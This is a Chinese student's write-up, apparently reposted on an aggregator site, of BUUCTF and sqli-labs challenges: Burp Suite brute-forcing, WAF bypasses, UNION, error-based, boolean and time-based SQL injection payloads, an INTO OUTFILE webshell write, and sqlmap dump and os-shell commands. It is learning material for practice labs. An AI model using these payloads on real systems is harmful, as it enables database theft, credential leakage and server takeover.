注入攻击(一)--------SQL注入(结合BUUCTF sqli-labs)

这篇具有很好参考价值的文章主要介绍了注入攻击(一)--------SQL注入(结合BUUCTF sqli-labs)。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

写在前面

  1. 为了准备信息安全技术课程汇报做的笔记,想着做了也是做了,不如分享出来给想我一样的初学者学习。本人之前没有做过CTF,也没有学过SQL注入,零基础,所以大佬可以先行离开

  2. 我的汇报内容是

  • SQL注入
  • XPath注入
  • HTML注入
    另一篇文章讲HTML注入,例子给的比较简单,但会给源码。主要是在Kali Linux中使用LAMP搭建一个简易的网站讲解HTML注入,感兴趣的可以点击下面的链接。
    注入攻击(二)--------HTML(有源码)

一、暴力破解

先做个题感受一下CTF,顺带学个BP工具使用。

Basic-3-Brute 1

1.解题思路

  1. 启动靶机后,给出一个登录界面
    注入攻击(一)--------SQL注入(结合BUUCTF sqli-labs),网络安全,sql,数据库,网络安全,安全

  2. 猜想使用admin作为用户名尝试登陆,查看服务器返回信息
    注入攻击(一)--------SQL注入(结合BUUCTF sqli-labs),网络安全,sql,数据库,网络安全,安全

  3. 得到密码的结构:4位数字

  4. 使用burp suite进行爆破,得到当password=6490时,返回登陆成功并给出flag
    注入攻击(一)--------SQL注入(结合BUUCTF sqli-labs),网络安全,sql,数据库,网络安全,安全

2.Burp Suite工具使用简介

使用Burp Suite进行爆破需要先进行一些配置,以下是我进行配置时的详细过程。

  1. 设置监听,监听8080端口。
    注入攻击(一)--------SQL注入(结合BUUCTF sqli-labs),网络安全,sql,数据库,网络安全,安全

  2. 对浏览器进行同样的设置,将其代理设置成8080端口(以为Firefox浏览器为例)

  3. 打开监听器,这时浏览器的请求会被Burp Suite拦截,我们可以通过Burp Suite来修改请求内容
    注入攻击(一)--------SQL注入(结合BUUCTF sqli-labs),网络安全,sql,数据库,网络安全,安全

  4. 设置完毕后在刚才的登陆界面输入usernamepassword后会跳转至Burp SuiteBurp Suite会展示浏览器请求的内容。

注入攻击(一)--------SQL注入(结合BUUCTF sqli-labs),网络安全,sql,数据库,网络安全,安全
5. 替换要进行爆破的变量内容
注入攻击(一)--------SQL注入(结合BUUCTF sqli-labs),网络安全,sql,数据库,网络安全,安全
6. 设置字典,由于提示是四位数字,我将Character Set中的英文字符删除
注入攻击(一)--------SQL注入(结合BUUCTF sqli-labs),网络安全,sql,数据库,网络安全,安全

  1. 开始进行爆破攻击,当攻击完毕可以通过编辑filter快速筛选出内容不同的报文
    得到1.解题思路中的结果
    注入攻击(一)--------SQL注入(结合BUUCTF sqli-labs),网络安全,sql,数据库,网络安全,安全

二、基于GET的SQL注入

Pre.使用校园网做题时可能遇到的小问题

我做题时遇到的问题:一旦涉及到union查询以及出现select语句,就会出现连接错误connection error
注入攻击(一)--------SQL注入(结合BUUCTF sqli-labs),网络安全,sql,数据库,网络安全,安全

问题原因推测:校园网防火墙过滤拦截了这部分带有union字符URL,判断其有sql注入攻击的风险

解决办法:

  1. 不用校园网,连接自己手机的热点
  2. 复写关键词达到绕过WAF的目的如 union 写成 uniounionn(实测不成功,根据各个网络设置不同,实验结果也不同)
  3. 大小写混写达到绕过目的union写成UNiOn
  4. 在union前后添加%0A实测成功,URL编码中的一个转义字符表示换行)

2.1 Basic-4-SQL course 1(sql注入)

1.解题思路

  1. 在火狐浏览器或者chrome浏览器中按F12调试启动开发者模式查看网络请求,可以看到其请求content_detail.php,从header中可以看到其访问地址为/backend/content_detail.php
    注入攻击(一)--------SQL注入(结合BUUCTF sqli-labs),网络安全,sql,数据库,网络安全,安全

  2. 进行一些测试,看看其是否能通过URL进行sql注入提取到信息

  • 更改id,看页面反馈,分别用id=1,2,3,4逐个测试
    注入攻击(一)--------SQL注入(结合BUUCTF sqli-labs),网络安全,sql,数据库,网络安全,安全

注入攻击(一)--------SQL注入(结合BUUCTF sqli-labs),网络安全,sql,数据库,网络安全,安全
注入攻击(一)--------SQL注入(结合BUUCTF sqli-labs),网络安全,sql,数据库,网络安全,安全
注入攻击(一)--------SQL注入(结合BUUCTF sqli-labs),网络安全,sql,数据库,网络安全,安全

  • 测试 and
    注入攻击(一)--------SQL注入(结合BUUCTF sqli-labs),网络安全,sql,数据库,网络安全,安全
    注入攻击(一)--------SQL注入(结合BUUCTF sqli-labs),网络安全,sql,数据库,网络安全,安全

  • 测试 or 是否被过滤
    注入攻击(一)--------SQL注入(结合BUUCTF sqli-labs),网络安全,sql,数据库,网络安全,安全

  1. 经过上述的简单测试发现可以通过sql进行数据获取,接下来通过构造sql语句查询数据库的一些结构信息
  • 查询表名
id=0 
union
select 1, group_concat(table_name) 
from information_schema.tables 
where table_schema=database() %23

结果:
注入攻击(一)--------SQL注入(结合BUUCTF sqli-labs),网络安全,sql,数据库,网络安全,安全

  1. 得知数据库中一共有两个表,admincontents
  2. 针对admin表进行查询
  3. 查询admin表列名
?id=-1
union 
select 1,group_concat(column_name) 
from information_schema.columns 
where table_name='admin'%23

注入后结果:
注入攻击(一)--------SQL注入(结合BUUCTF sqli-labs),网络安全,sql,数据库,网络安全,安全

  1. 查询username、password字段数据
?id=-1
union 
select group_concat(username),group_concat(password) 
from admin--+

拿到一个登录账户以及密码

注入攻击(一)--------SQL注入(结合BUUCTF sqli-labs),网络安全,sql,数据库,网络安全,安全

  1. 使用这个账户密码登录成功后会显示flag,提交flag这题就算ac了
    注入攻击(一)--------SQL注入(结合BUUCTF sqli-labs),网络安全,sql,数据库,网络安全,安全
    9.提交flag
    注入攻击(一)--------SQL注入(结合BUUCTF sqli-labs),网络安全,sql,数据库,网络安全,安全

2.2 Basic-8-sqli-labs(sql注入的各种攻击形式)

1.报错注入

less-1(Error-Based 单引号 字符型注入)
  • 解题思路

提示输入数字,构造url尝试

  1. 判断参数是整数型还是字符型
  • ?id=1

  • ?id=1' and 1=1 #

  • ?id=1' and 1=2 #

  • ?id=1' and 1=1 #

  • ?id=1' and 1=1 #

  1. 判断登陆表一共有几列,观察到当4时不回显,说明表为3列
  • ?id=1' order by 1 %23
  • ?id=1' order by 2 %23
  • ?id=1' order by 3 %23
  • ?id=1' order by 4 %23
  1. 查询用户权限和数据库类型
  • ?id=-1' union select 1,user(),database() %23
    注入攻击(一)--------SQL注入(结合BUUCTF sqli-labs),网络安全,sql,数据库,网络安全,安全
  1. 查看操作系统和数据库版本
?id=-1' 
union 
select 1, @@version_compile_os,version() %23

注入攻击(一)--------SQL注入(结合BUUCTF sqli-labs),网络安全,sql,数据库,网络安全,安全

  1. 查询表名
?id=-1' 
union 
select 1,2,group_concat(table_name) 
from information_schema.tables 
where table_schema=database()%23

注入攻击(一)--------SQL注入(结合BUUCTF sqli-labs),网络安全,sql,数据库,网络安全,安全

  1. 查询表字段名
?id=-1' 
union 
select 1,2,group_concat(column_name) 
from information_schema.columns 
where table_name='users'%23

注入攻击(一)--------SQL注入(结合BUUCTF sqli-labs),网络安全,sql,数据库,网络安全,安全

  1. 得知字段名后,可以查询所有账户信息
?id=-1' 
union 
select 1,group_concat(username),group_concat(password) 
from users %23

注入攻击(一)--------SQL注入(结合BUUCTF sqli-labs),网络安全,sql,数据库,网络安全,安全

其他类似题目(less2-less4)
  1. less-2(Error-Based``整数型注入 )

    select * from user where id=$id LIMIT 0,1

  2. less-3(Error-Based``单引号括号 字符型注入)

    select * from user where id=('$id') LIMIT 0,1

  3. less-4(Error-Based``双引号括号 字符型注入)

    select * from user where id=(”$id“) LIMIT 0,1


报错注入
XPath注入
时间延迟型盲注
布尔盲注

2.XPath注入

less-5 (Double injection)

该题登陆成功不会显示信息,但是登陆失败还是会显示sql语句报错信息
注入攻击(一)--------SQL注入(结合BUUCTF sqli-labs),网络安全,sql,数据库,网络安全,安全
注入攻击(一)--------SQL注入(结合BUUCTF sqli-labs),网络安全,sql,数据库,网络安全,安全

1.使用XPath注入
updatexml(xpath_string, new_string, xml_field)
substr(str, pos)
substr(str, pos, len)
  • 解题过程
  1. 获取当前数据库名称
?id=1'
and 
updatexml(1,concat(0x7e,(select database()),0x7e),1)-- s

通过更新一个不存在的xml节点,在其中插入另外一个查询语句获取数据信息
成功在页面展示出数据库名称
注入攻击(一)--------SQL注入(结合BUUCTF sqli-labs),网络安全,sql,数据库,网络安全,安全
2. 获取当前数据库所有表名称

?id=1'
and 
updatexml(1,concat(0x7e,substr((select group_concat(table_name) 
from information_schema.tables where table_schema=database()),1,31),0x7e),1) -- s

注入攻击(一)--------SQL注入(结合BUUCTF sqli-labs),网络安全,sql,数据库,网络安全,安全

  1. 获取当前数据库user表所有列名称
?id=1'
and 
updatexml(1,concat(0x7e,substr((select group_concat(column_name) 
from information_schema.columns 
where table_name='users' and table_schema=database()),1,31),0x7e),1)-- s

注入攻击(一)--------SQL注入(结合BUUCTF sqli-labs),网络安全,sql,数据库,网络安全,安全

  1. 获取当前数据库user表所有username和password的值,通过读取多个子字符串逐段读取user表中所有的数值
?id=1'
and 
updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),1,31),0x7e),1)-- s

注入攻击(一)--------SQL注入(结合BUUCTF sqli-labs),网络安全,sql,数据库,网络安全,安全

?id=1'
and
updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) 
from users),32,31),0x7e),1)-- s

注入攻击(一)--------SQL注入(结合BUUCTF sqli-labs),网络安全,sql,数据库,网络安全,安全

以此类推…

?id=1'
and 
updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) 
from users),63,31),0x7e),1)-- s

  1. 写webshell
?id=1' into outfile 'C:/less5.php' lines terminated by 0x3c3f7068702061737365727428245f504f53545b6c657373355d293b3f3e-- s
其他类似题型
  • less-6 (Double injection)

与less5基本相同,但是闭合是双引号的

3.文件导出

less-7 dump into outfile(文件导出)
1.布尔盲注 爆破获得数据
  • 输入正确
    查询结果不回显
  • 输入错误
    不显示SQL语法错误

使用布尔盲注来逐个测试,手工注入工作量太大,可以使用bp工具完成

2.利用文件导出功能
  1. 找到文件存放的根目录

?id=-1 union select 1,@@basedir,@@datadir

注入攻击(一)--------SQL注入(结合BUUCTF sqli-labs),网络安全,sql,数据库,网络安全,安全

  1. 得到路径后进行文件导出

4. 布尔盲注

less-8(Blind,Boolian Based, single quote,布尔盲注

布尔盲注(Boolean Blind SQL Injection)是一种利用布尔逻辑的盲注技术,用于检索和利用Web应用程序的数据库中的信息。这种盲注技术是在应用程序未显示明确错误消息或回显数据库响应的情况下进行的。

在布尔盲注攻击中,攻击者利用应用程序对特定输入的响应,如页面的不同响应,来判断查询语句是否执行成功。攻击者通过尝试不同的输入值,比较不同输入值的响应,来逐步推断出数据库中的信息。

以下是一个简单的布尔盲注示例,假设有一个网站,在搜索框中输入姓名可以检索数据库中的用户信息。攻击者可以尝试向搜索框中输入以下语句:

' OR 1=1 --

这将使SQL查询变为类似以下的形式:

SELECT * FROM users WHERE name='' OR 1=1 -- '

如果搜索成功,说明数据库中至少有两个用户,攻击者就可以通过类似的方法,逐步推断出更多的信息,例如用户名、密码等。

5. 时间盲注

Pre.sqlmap工具使用简介

sqlmap支持五种不同的注入模式:
1、基于布尔的盲注,即可以根据返回页面判断条件真假的注入。
2、基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。
3、基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。
4、联合查询注入,可以使用union的情况下的注入。
5、堆查询注入,可以同时执行多条语句的执行时的注入。

sqlmap支持的数据库
MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase和SAP MaxDB

less-9 (Blind,Time Based, Single Quote,时间盲注)
1.手工盲注

if(a,sleep(10),1)如果a结果是真的,那么执行sleep(10)页面延迟10秒,如果a的结果是假,执行1,页面不延迟。

# 判断参数构造
?id=1' and if(1=1,sleep(5),1)--+
    
#判断数据库名长度
?id=1'and if(length((select database()))>9,sleep(5),1)--+

# 逐一判断数据库字符
?id=1'and if(ascii(substr((select database()),1,1))=115,sleep(5),1)--+

# 判断所有表名长度
?id=1'and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13,sleep(1000),1)--+

# 逐一判断表名
?id=1'and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99,sleep(5),1)--+

# 判断所有字段名的长度
?id=1'and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20,sleep(5),1)--+

# 逐一判断字段名
?id=1'and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99,sleep(5),1)--+
    
# 判断字段内容长度
?id=1' and if(length((select group_concat(username,password) from users))>109,sleep(5),1)--+
    
# 逐一检测内容
?id=1' and if(ascii(substr((select group_concat(username,password) from users),1,1))>50,sleep(5),1)--+

2.使用sqlmap

手工盲注输入过于耗费时间,采用sqlmap工具进行破解

# 查看是否有注入点
sqlmap -u "?id=1" 
# 获取所有数据库名字
sqlmap -url "?id=1" --dbs
# 获取当前数据库
sqlmap -url "?id=1" --current-db
#获取数据库security所有表名称
sqlmap -u "?id=1" --tables -D security
#获取数据库security的users表的所有列名
sqlmap -u "?id=1" --columns -D security -T users
#获取数据库security的users表的username和password列的值
sqlmap -u "?id=1" --dump -D security -T users -C username,password
#
sqlmap -u "?id=1" --os-shell 
  1. 判断当前网址是否有注入点

    sqlmap -u "?id=1"

注入攻击(一)--------SQL注入(结合BUUCTF sqli-labs),网络安全,sql,数据库,网络安全,安全

注入攻击(一)--------SQL注入(结合BUUCTF sqli-labs),网络安全,sql,数据库,网络安全,安全

  1. 获取所有数据库名

    sqlmap -url "?id=1" --dbs

注入攻击(一)--------SQL注入(结合BUUCTF sqli-labs),网络安全,sql,数据库,网络安全,安全

  1. 获取当前数据库

    sqlmap -url "?id=1" --current-db

注入攻击(一)--------SQL注入(结合BUUCTF sqli-labs),网络安全,sql,数据库,网络安全,安全

  1. 获取数据库Security中所有的表名

    sqlmap -u "?id=1" --tables -D security

注入攻击(一)--------SQL注入(结合BUUCTF sqli-labs),网络安全,sql,数据库,网络安全,安全

  1. 获取指定数据库security指定表users的所有列名

    sqlmap -u "?id=1" --columns -D security -T users
    注入攻击(一)--------SQL注入(结合BUUCTF sqli-labs),网络安全,sql,数据库,网络安全,安全

  2. 读取指定表的指定列数据

    sqlmap -u "?id=1" --dump -D security -T users -C username,password --dump

注入攻击(一)--------SQL注入(结合BUUCTF sqli-labs),网络安全,sql,数据库,网络安全,安全

less-10 (Blind,Time Based, Double Quotes,时间盲注)

三、基于POST的SQL注入攻击

前面使用的是GET直接在URL中进行传参

1. 常规

less11

  • 解题思路
    注入攻击(一)--------SQL注入(结合BUUCTF sqli-labs),网络安全,sql,数据库,网络安全,安全
  1. 查看报错信息,发现输入的信息被包裹在单引号中,推断出sql语句应该形如:

select * from table where username='$id' and password='$pswd'

注入攻击(一)--------SQL注入(结合BUUCTF sqli-labs),网络安全,sql,数据库,网络安全,安全

  1. 构造绕过语句

1' or '1=1

1' or '1=1 #

  1. 输入后提示登陆成功

注入攻击(一)--------SQL注入(结合BUUCTF sqli-labs),网络安全,sql,数据库,网络安全,安全

  1. 构造其他语句,泄露数据库的其他信息

时间关系。后面的题目基本就没做了,大家可以直接到参考文章中查看,提供了大佬们详细的题解。

参考文章

本人精力有限,为了课程汇报,所以做的难免急躁,肯定有不足之处。下面是我这几天学习参考的几篇BUUCTF sqli-labs 的讲解文章,希望大家能从大佬的文章中学习到真正的知识,也不枉辛苦大家点进我这篇破文章哈哈

包含了详细的题解,图文并茂
1. sqli-labs通关(less1~less10)By 仙女象
2. sqli-labs通关(less11~less20)By 仙女象
3. sqli-labs通关(less21~less30)By 仙女象
4. sqli-labs通关(less31~less40)By 仙女象
5. sqli-labs通关(less41~less50)By 仙女象
6. sqli-labs通关(less51~less60)By 仙女象
7. Sqlmap使用(sqli-lab)By Mccc_li
8. 详细sqli-labs(1-65)通关讲解 By 糊涂是福yyyy
9.BUUCTF-Basic By _abcdef文章来源地址https://www.toymoban.com/news/detail-587199.html

到了这里,关于注入攻击(一)--------SQL注入(结合BUUCTF sqli-labs)的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • [网络安全]sqli-labs Less-25a 解题详析

    不同于25关的是sql语句中对于id没有单引号包含,同时没有输出错误项,故报错注入不能用。 有两种方式:延时注入和联合注入;本文采用联合注入。 具体过程不再详述,本文给出最终POC: 具体过程本文不再赘述,可移至本专栏相关文章:SQLiLabs靶场专栏

    2024年02月06日
    浏览(48)
  • SQL注入sqli_labs靶场第三题

    ?id=1\\\'and 1=1 and \\\'1\\\'=\\\'1和?id=1\\\'and 1=1 and \\\'1\\\'=\\\'1进行测试如果1=1页面显示正常和原页面一样,并且1=2页面报错或者页面部分数据显示不正常,那么可以确定此处为字符型注入。 根据报错信息判断为单引号带括号注入 联合查询: 猜解列名 ?id=1\\\') order by 3--+ 判断回显点 ?id=-1\\\') union select

    2024年04月11日
    浏览(59)
  • sqli-labs例题复现

    less-1.1 在源码中$id=$_GET[\\\'id\\\'];之后加入如下代码: 1.分析正则 第一个b匹配select单词边界,sS匹配到所有字符,最后一个b匹配到from单词边界。 select...from被过滤,失效。 2.科学计数法的引入 如果可以存在一个,可以加在from前面,不会影响语句执行,从而实现绕过正则

    2024年02月10日
    浏览(47)
  • sqli-labs靶场分析

    1、level1 单引号测试报错,为单引号闭合,且显示1多了个单引号故而为字符型注入。且未对用户输入进行任何过滤。 且SQL语句错误会输出,可以使用报错注入 order by判断表列数 uoion 联合查询,因为网页只显示第一张表的数据,因此需要union前的语句为假,查出数据为空,把位

    2024年02月07日
    浏览(50)
  • sqli-labs通关详解

    找注入点,当输入id=1 and 1=2–+时没有变化,尝试单引号闭合找到注入类型 字符型注入,单引号闭合 判断字段数 找回显点 发现有两个回显点 开始信息收集(注意union前后格式要相同) 开始逐级爆破 爆破数据库 看源码或者尝试,没有闭合方式,说明为数字型注入 尝试找到注入

    2023年04月15日
    浏览(44)
  • SQLI-labs-第一关

    目录 知识点:单引号字符型注入 1、根据提示,为get注入,在url中输入内容​编辑  2、判断注入点  3、判断目前该表的字段数  4、判断回显位置 5、爆库名 6、爆表名   7、爆字段名  8、爆值 知识点:单引号字符型注入 思路: 1、根据提示,为get注入,在url中输入内容  

    2024年02月11日
    浏览(44)
  • sqli-labs靶场安装

      服务器环境:phpstudy   下载链接:https://www.xp.cn/   Sqlilabs靶场:sqlilabs   下载链接:https://github.com/Audi-1/sqli-labs   PhpStudy国内12年老牌公益软件,集安全,高效,功能与一体,已获得全球用户认可安装,运维也高效。 支持一键LAMP,LNMP,集群,监控,网站,FTP,数据库,J

    2023年04月13日
    浏览(86)
  • Sqli-Labs 通关笔记

    创建网站时选择php版本为5.x 修改./sql-connections/db-creds.inc 修改数据库用户名和密码,下面的数据库名不用管 任务目标:获取表名 Less-1 GET - Error based - Single quotes - String(基于错误的GET单引号字符型注入) sql查询语句为 SELECT * FROM users WHERE id=\\\'$id\\\' LIMIT 0,1 输入 ?id=-1\\\' ,报错语句为

    2023年04月20日
    浏览(41)
  • sqli-labs部分关思路

    目录 updatexml 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 25a 26 26a 27 27a 28 28a 问题:你了解sql注入吗 答:由于程序过滤不严谨,用户异常输入,这些输入会导致数据库异常查询,最终导致sql注入 mysql三种注释符: --+ # /**/ updatexml() 这个函数作用是替换数据,三个参数对应

    2024年02月09日
    浏览(43)
  • sqli-labs关卡之一(两种做法)

    目录 一、布尔盲注(bool注入)  二、时间盲注(sleep注入) 页面没有报错和回显信息,只会返回正常或者不正常的信息,这时候就可以用布尔盲注 布尔盲注原理是先将你查询结果的第一个字符转换为ascii码,再与后面的数字比较,如果为真,整个查询条件就为真,返回正常的结果

    2024年02月09日
    浏览(113)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包